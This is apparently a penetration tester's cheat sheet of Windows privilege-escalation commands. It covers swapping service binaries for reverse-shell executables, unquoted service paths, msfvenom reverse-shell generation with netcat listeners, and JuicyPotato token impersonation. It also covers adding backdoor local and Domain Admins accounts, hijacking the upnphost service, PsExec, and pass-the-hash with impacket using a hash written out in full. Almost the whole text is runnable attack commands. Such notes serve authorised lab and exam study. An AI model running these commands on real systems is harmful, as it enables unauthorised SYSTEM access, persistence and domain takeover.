SERVICE_ALL_ACCESS:
# check current binpath
sc.exe qc target
# check M access on the original service.exe from binpath
icacls C:\service.exe
cp C:\shell.exe C:\service.exe
sc start targetsvc
receive SYSTEM shell
listen & run shell.exe again to persist the short life shell
(need 2 listeners, make it to 2nd listener in 1st listener b4 it dies)
Unquoted service path
To list nonstandard services that start automatically
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows"
find returned service having path without " " and find if precedential dir writable
whoami /priv
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.129 LPORT=4433 -f exe > shell.exe
nc -nlvp 4433
PS C:\inetpub\wwwroot> c:\inetpub\wwwroot\JuicyPotato.exe -l 2145 -p c:\inetpub\wwwroot\shell.exe -t *
C:\Users\Public\JuicyPotato.exe -t t -p C:\Users\Public\whoami.exe -l 5837
-p specifies the program we are trying to run
-l specify COM server listening arbitrary port
-t process creation mode (t if have selmpersonate priv)
net user kali pass1234! /add
net localgroup administrators kali /add
net localgroup "remote desktop users" kali /add
net group "Domain Admins" kali /add
impacket-psexec kali@ip
can add /domain flag behind if is creating with domain admin / DC ser admin
# can try with local admin?
net user kali2 kali1234 /add /Domain
net group "Domain Admins" hacker2 /add /domain
sc qc upnphost
sc qc SSDPSRV
sc query SSDPSRV
sc config SSDPSRV start= auto
sc config upnphost binpath= "C:\Inetpub\wwwroot\rev2.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
net start SSDPSRV
net start upnphost
receive SYSTEM shell
listen & run C:\Inetpub\wwwroot\rev2.exe again to persist the short life shell
(need 2 listeners, make it to 2nd listener in 1st listener b4 it dies)
PSexec
PSexec.exe -s cmd.exe -accepteula (or rev.exe on local)
PSexec.exe \\DC01 (-s) cmd.exe -accepteula
-c C:\rev.exe copy the exe to remote and exec
(no -c = exec system path exe)
-d dun want for process to terminate (non-interactive, can use when rev.exe but not cmd)
-s run as system
impacket-psexec jose@192.168.168.88 -hashes :645dc5a8871d2a4269d4cbe23f6ae103
or user:'pw'@ip
need 445 or use -port to specify; need admin user to access $Admin
If need use PS, need a rev.exe and powershell -ep bypassin new shell